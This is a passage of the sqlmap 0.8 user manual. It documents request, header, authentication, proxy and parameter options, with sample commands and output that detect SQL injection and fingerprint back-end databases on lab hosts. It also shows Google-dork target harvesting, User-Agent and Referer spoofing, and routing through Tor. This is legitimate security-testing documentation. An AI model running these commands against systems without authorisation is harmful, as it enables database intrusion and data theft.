$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1
|
|
|
|
[hh:mm:38] [INFO] first request to Google to get the session cookie
|
|
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
|
|
testable hosts
|
|
[hh:mm:41] [INFO] sqlmap got a total of 59 targets
|
|
[hh:mm:40] [INFO] url 1:
|
|
GET http://yourdomain.com/example1.php?foo=12, do you want to test this
|
|
url? [y/N/q] n
|
|
[hh:mm:43] [INFO] url 2:
|
|
GET http://yourdomain.com/example2.php?bar=24, do you want to test this
|
|
url? [y/N/q] n
|
|
[hh:mm:42] [INFO] url 3:
|
|
GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you
|
|
want to test this url? [y/N/q] y
|
|
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
|
|
[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:49] [INFO] url is stable
|
|
[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
|
|
[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
|
|
[hh:mm:53] [INFO] GET parameter 'today' is dynamic
|
|
[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
|
|
[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
|
|
[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
|
|
[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Load options from a configuration INI file</H3>
|
|
|
|
<P>Option: <CODE>-c</CODE></P>
|
|
|
|
<P>It is possible to pass user's options from a configuration INI file, an
|
|
example is <CODE>sqlmap.conf</CODE>.</P>
|
|
|
|
<P>Example usage:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -c "sqlmap.conf"
|
|
|
|
[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that if you also provide other options from command line, those are
|
|
evaluated when running sqlmap and overwrite the same options, if set, in
|
|
the provided configuration file.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.3">5.3</A> <A HREF="#toc5.3">Request</A>
|
|
</H2>
|
|
|
|
<P>These options can be used to specify how to connect to the target
|
|
application.</P>
|
|
|
|
<H3>HTTP method: <CODE>GET</CODE> or <CODE>POST</CODE></H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-method</CODE> and <CODE>-</CODE><CODE>-data</CODE></P>
|
|
|
|
<P>By default the HTTP method used to perform HTTP requests is <CODE>GET</CODE>,
|
|
but you can change it to <CODE>POST</CODE> and provide the data to be sent
|
|
through <CODE>POST</CODE> request. Such data, being those parameters, are
|
|
tested for SQL injection like the <CODE>GET</CODE> parameters.</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/post_int.php" --method POST \
|
|
--data "id=1"
|
|
|
|
[hh:mm:53] [INFO] testing connection to the target url
|
|
[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:54] [INFO] url is stable
|
|
[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
|
|
[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
|
|
[hh:mm:54] [INFO] POST parameter 'id' is dynamic
|
|
[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
|
|
[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
|
|
[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
|
|
[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
|
|
[...]
|
|
[hh:mm:54] [INFO] testing Oracle
|
|
[hh:mm:54] [INFO] retrieved: 9
|
|
[hh:mm:54] [INFO] confirming Oracle
|
|
[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: Oracle
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>HTTP <CODE>Cookie</CODE> header</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-cookie</CODE>, <CODE>-</CODE><CODE>-cookie-urlencode</CODE> and <CODE>-</CODE><CODE>-drop-set-cookie</CODE></P>
|
|
|
|
<P>This feature can be useful in two scenarios:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>The web application requires authentication based upon cookies and
|
|
you have such data.</LI>
|
|
<LI>You want to test for and exploit SQL injection on such header
|
|
values.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>The steps to go through in the second scenario are the following:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>On Firefox web browser login on the web authentication form while
|
|
dumping URL requests with
|
|
<A HREF="http://tamperdata.mozdev.org/">TamperData</A> browser's extension.</LI>
|
|
<LI>In the horizontal box of the extension select your authentication
|
|
transaction then in the left box on the bottom click with the right button
|
|
on the <CODE>Cookie</CODE> value, then click on <CODE>Copy</CODE> to save its
|
|
value to the clipboard.</LI>
|
|
<LI>Go back to your shell and run sqlmap.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/cookie_int.php" --cookie \
|
|
"id=1" -v 1
|
|
|
|
[hh:mm:37] [INFO] testing connection to the target url
|
|
[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:38] [INFO] url is stable
|
|
[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
|
|
[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
|
|
[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
|
|
[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
|
|
[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
|
|
[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
|
|
[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that the HTTP <CODE>Cookie</CODE> header values are usually separated by
|
|
a <CODE>;</CODE> character, <B>not</B> by an <CODE>&</CODE>.</P>
|
|
|
|
<P>If the web application at first HTTP response has a <CODE>Set-Cookie</CODE>
|
|
header, sqlmap will automatically use it's value in all further HTTP
|
|
requests as the <CODE>Cookie</CODE> header. sqlmap will also automatically
|
|
test that value for SQL injection, except if you run it with
|
|
<CODE>--drop-set-cookie</CODE> option.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" -v 3
|
|
|
|
[...]
|
|
[hh:mm:39] [INFO] testing connection to the target url
|
|
[hh:mm:39] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.128:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
|
|
Connection: close
|
|
|
|
[...]
|
|
[hh:mm:40] [INFO] url is stable
|
|
[...]
|
|
[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
|
|
[hh:mm:40] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.128:80
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
Cookie: ASPSESSIONIDSABTRCAS=469
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>If you provide an HTTP <CODE>Cookie</CODE> header value and the target URL
|
|
sends an HTTP <CODE>Set-Cookie</CODE> header, sqlmap asks you which one to use
|
|
in the following HTTP requests.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.128/sqlmap/get_str.asp?name=luther" --cookie "id=1"
|
|
|
|
[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
|
|
own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
|
|
values that you provided? [Y/n]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>sqlmap by default doesn't URL encode generated cookie injections, but you can force it by
|
|
using the <CODE>-</CODE><CODE>-cookie-urlencode</CODE> flag. Cookie content encoding is not declared
|
|
by standard in any way, so it's solely the matter of web application's behaviour.</P>
|
|
|
|
|
|
<H3>HTTP <CODE>User-Agent</CODE> header</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-user-agent</CODE> and <CODE>-a</CODE></P>
|
|
|
|
<P>By default sqlmap perform HTTP requests providing the following HTTP
|
|
<CODE>User-Agent</CODE> header value:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>It is possible to fake it with the <CODE>-</CODE><CODE>-user-agent</CODE> option.</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
|
|
--user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
|
|
|
|
[...]
|
|
[hh:mm:02] [INFO] testing connection to the target url
|
|
[hh:mm:02] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
|
|
Connection: close
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Providing a text file, <CODE>./txt/user-agents.txt</CODE> or any other
|
|
file containing a list of at least one user agent, to the <CODE>-a</CODE>
|
|
option, sqlmap will randomly select a <CODE>User-Agent</CODE> from the file
|
|
and use it for all HTTP requests.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
|
|
-a "./txt/user-agents.txt"
|
|
|
|
[hh:mm:00] [DEBUG] initializing the configuration
|
|
[hh:mm:00] [DEBUG] initializing the knowledge base
|
|
[hh:mm:00] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
|
|
[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
|
|
Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
|
|
[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
|
|
[hh:mm:00] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:00] [DEBUG] parsing XML queries file
|
|
[hh:mm:00] [INFO] testing connection to the target url
|
|
[hh:mm:00] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
|
|
Connection: close
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that the HTTP <CODE>User-Agent</CODE> header is tested against SQL
|
|
injection also if you do not overwrite the default sqlmap HTTP
|
|
<CODE>User-Agent</CODE> header value.</P>
|
|
|
|
<P>Some sites perform a server-side check on the HTTP <CODE>User-Agent</CODE>
|
|
header value and fail the HTTP response if a valid <CODE>User-Agent</CODE> is
|
|
not provided, its value is not expected or its value is blocked by a web
|
|
application firewall or similar intrusion prevention system. In this case
|
|
sqlmap will show you a message as follows:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try
|
|
to force the HTTP User-Agent header with option --user-agent or -a
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>HTTP <CODE>Referer</CODE> header</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-referer</CODE></P>
|
|
|
|
<P>It is possible to fake the HTTP <CODE>Referer</CODE> header value with this
|
|
option. By default no HTTP <CODE>Referer</CODE> header is sent in HTTP
|
|
requests.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --referer \
|
|
"http://www.google.com" -v 3
|
|
|
|
[...]
|
|
[hh:mm:48] [INFO] testing connection to the target url
|
|
[hh:mm:48] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Referer: http://www.google.com
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Extra HTTP headers</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-headers</CODE></P>
|
|
|
|
<P>It is possible to provide extra HTTP headers by providing <CODE>-</CODE><CODE>-headers</CODE>
|
|
options. Each header must be separated by a newline and it's much easier
|
|
to provide them from the configuration INI file. Have a look at the sample
|
|
<CODE>sqlmap.conf</CODE> file.</P>
|
|
|
|
|
|
<H3>HTTP <CODE>Basic</CODE>, <CODE>Digest</CODE> and <CODE>NTLM</CODE> authentications</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-auth-type</CODE> and <CODE>-</CODE><CODE>-auth-cred</CODE></P>
|
|
|
|
<P>These options can be used to specify which HTTP authentication type the
|
|
web server implements and the valid credentials to be used to perfom all
|
|
HTTP requests to the target application.
|
|
The three valid types are <CODE>Basic</CODE>, <CODE>Digest</CODE> and <CODE>NTLM</CODE>,
|
|
while the credentials' syntax is <CODE>username:password</CODE>.</P>
|
|
|
|
<P>Examples on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/basic/get_int.php?id=1" \
|
|
--auth-type Basic --auth-cred "testuser:testpass" -v 3
|
|
|
|
[...]
|
|
[hh:mm:14] [INFO] testing connection to the target url
|
|
[hh:mm:14] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/basic/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
|
|
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/digest/get_int.php?id=1" \
|
|
--auth-type Digest --auth-cred "testuser:testpass" -v 3
|
|
|
|
[...]
|
|
[hh:mm:54] [INFO] testing connection to the target url
|
|
[hh:mm:54] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/digest/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
Authorization: Digest username="testuser", realm="Testing digest authentication",
|
|
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
|
|
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
|
|
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>HTTP Certificate authentication</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-auth-cert</CODE></P>
|
|
<P>This option should be used in cases when the web server requires proper user's
|
|
certificate for authentication. Supplied values should be in the form: <CODE>key_file,
|
|
cert_file</CODE>, where <CODE>key_file</CODE> should be the name of a PEM formatted file that
|
|
contains your private key, while <CODE>cert_file</CODE> should be the name for a PEM formatted
|
|
certificate chain file.</P>
|
|
|
|
<P>Example:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://www.example.com/process.php?id=1" \
|
|
--auth-cert key.pem,cert.pem
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>HTTP proxy</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-proxy</CODE> and <CODE>-</CODE><CODE>-ignore-proxy</CODE></P>
|
|
|
|
<P>It is possible to provide an anonymous HTTP proxy address to pass by the
|
|
HTTP requests to the target URL. The syntax of HTTP proxy value is
|
|
<CODE>http://url:port</CODE>.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
|
|
--proxy "http://172.16.213.1:8080"
|
|
|
|
[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
|
|
[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
|
|
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
|
|
back-end DBMS: PostgreSQL
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Instead of using a single anonymous HTTP proxy server to pass by, you can
|
|
configure a
|
|
<A HREF="http://tor.eff.org">Tor client</A> together
|
|
with
|
|
<A HREF="http://www.privoxy.org">Privoxy</A> on your machine
|
|
as explained on the
|
|
<A HREF="http://tor.eff.org/docs/tor-doc-unix.html.en">Tor client guide</A> then run sqlmap as follows:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
|
|
--proxy "http://172.16.213.1:8118"
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Note that <CODE>8118</CODE> is the default Privoxy port, adapt it to your
|
|
settings.</P>
|
|
|
|
<P>The option <CODE>-</CODE><CODE>-ignore-proxy</CODE> should be used in cases like
|
|
when you want to run sqlmap against the machine inside a local area
|
|
network skipping default usage of a system-wide set HTTP proxy server.</P>
|
|
|
|
|
|
<H3>Concurrent HTTP requests</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-threads</CODE></P>
|
|
|
|
<P>It is possible to specify the number of maximum concurrent HTTP requests
|
|
that sqlmap can start when it uses the blind SQL injection technique to
|
|
retrieve the query output.
|
|
This feature relies on the
|
|
<A HREF="http://en.wikipedia.org/wiki/Multithreading">multithreading</A> concept and inherits both its pro and its cons.</P>
|
|
|
|
<P>Examples on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 \
|
|
--current-user --threads 3
|
|
|
|
[...]
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:18] [INFO] fetching current user
|
|
[hh:mm:18] [INFO] retrieving the length of query output
|
|
[hh:mm:18] [INFO] retrieved: 18
|
|
[hh:mm:19] [INFO] starting 3 threads
|
|
[hh:mm:19] [INFO] retrieved: testuser@localhost
|
|
current user: 'testuser@localhost'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap first calculates the length of the query output,
|
|
then starts three threads. Each thread is assigned to retrieve one
|
|
character of the query output. The thread then ends after up to seven
|
|
HTTP requests, the maximum requests to retrieve a query output character
|
|
with the blind SQL injection bisection algorithm implemented in sqlmap.</P>
|
|
|
|
<P>Note that the multithreading option is not needed if the target is affected
|
|
by an inband SQL injection vulnerability and the <CODE>-</CODE><CODE>-union-use</CODE>
|
|
option has been provided.</P>
|
|
|
|
|
|
<H3>Delay in seconds between each HTTP request</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-delay</CODE></P>
|
|
|
|
<P>It is possible to specify a number of seconds to wait between each HTTP
|
|
request. The valid value is a float, for instance 0.5 means half a second.</P>
|
|
|
|
|
|
<H3>Seconds to wait before timeout connection</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-timeout</CODE></P>
|
|
|
|
<P>It is possible to specify a number of seconds to wait before considering
|
|
the HTTP request timed out. The valid value is a float, for instance
|
|
10.5 means ten seconds and a half.</P>
|
|
|
|
|
|
<H3>Maximum number of retries when the HTTP connection timeouts</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-retries</CODE></P>
|
|
|
|
<P>It is possible to specify the maximum number of retries when the HTTP
|
|
connection timeouts. By default it retries up to three times.</P>
|
|
|
|
|
|
<H3>Filtering targets from provided proxy log using regular expression</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-scope</CODE></P>
|
|
|
|
<P>Rather than using all hosts parsed from provided logs with option
|
|
<CODE>-l</CODE>, in combination with this option you can specify valid
|
|
python regular expression to be used for filtering desired ones.</P>
|
|
<P>Example usage:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -l /tmp/webscarab.log/conversations/ --scope="(www)?\.target\.(com|net|org)"
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="ss5.4">5.4</A> <A HREF="#toc5.4">Injection</A>
|
|
</H2>
|
|
|
|
<P>These options can be used to specify which parameters to test for, provide
|
|
custom injection payloads and how to parse and compare HTTP responses page
|
|
content when using the blind SQL injection technique.</P>
|
|
|
|
|
|
<H3>Testable parameter(s)</H3>
|
|
|
|
<P>Option: <CODE>-p</CODE></P>
|
|
|
|
<P>By default sqlmap tests all <CODE>GET</CODE> parameters, <CODE>POST</CODE>
|
|
parameters, HTTP <CODE>Cookie</CODE> header values and HTTP <CODE>User-Agent</CODE>
|
|
header value for dynamicity and SQL injection vulnerability, but it is
|
|
possible to manually specificy the parameter(s) you want sqlmap to perform
|
|
tests on comma separeted in order to skip dynamicity tests and perform SQL
|
|
injection test and inject directly only against the provided parameter(s).</P>
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 \
|
|
-p "id"
|
|
|
|
[hh:mm:48] [INFO] testing connection to the target url
|
|
[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:49] [INFO] url is stable
|
|
[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:49] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Or, if you want to provide more than one parameter, for instance:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
|
|
-p "cat,id"
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also test only the HTTP <CODE>User-Agent</CODE> header.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/ua_str.php" -v 1 \
|
|
-p "user-agent" --user-agent "sqlmap/0.8 (http://sqlmap.sourceforge.net)"
|
|
|
|
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
|
|
[hh:mm:40] [INFO] testing connection to the target url
|
|
[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:41] [INFO] url is stable
|
|
[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
|
|
[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
|
|
[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
|
|
[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:41] [INFO] testing MySQL
|
|
[hh:mm:41] [INFO] retrieved: 44
|
|
[hh:mm:41] [INFO] confirming MySQL
|
|
[hh:mm:41] [INFO] retrieved: 1
|
|
[hh:mm:41] [INFO] retrieved: 4
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
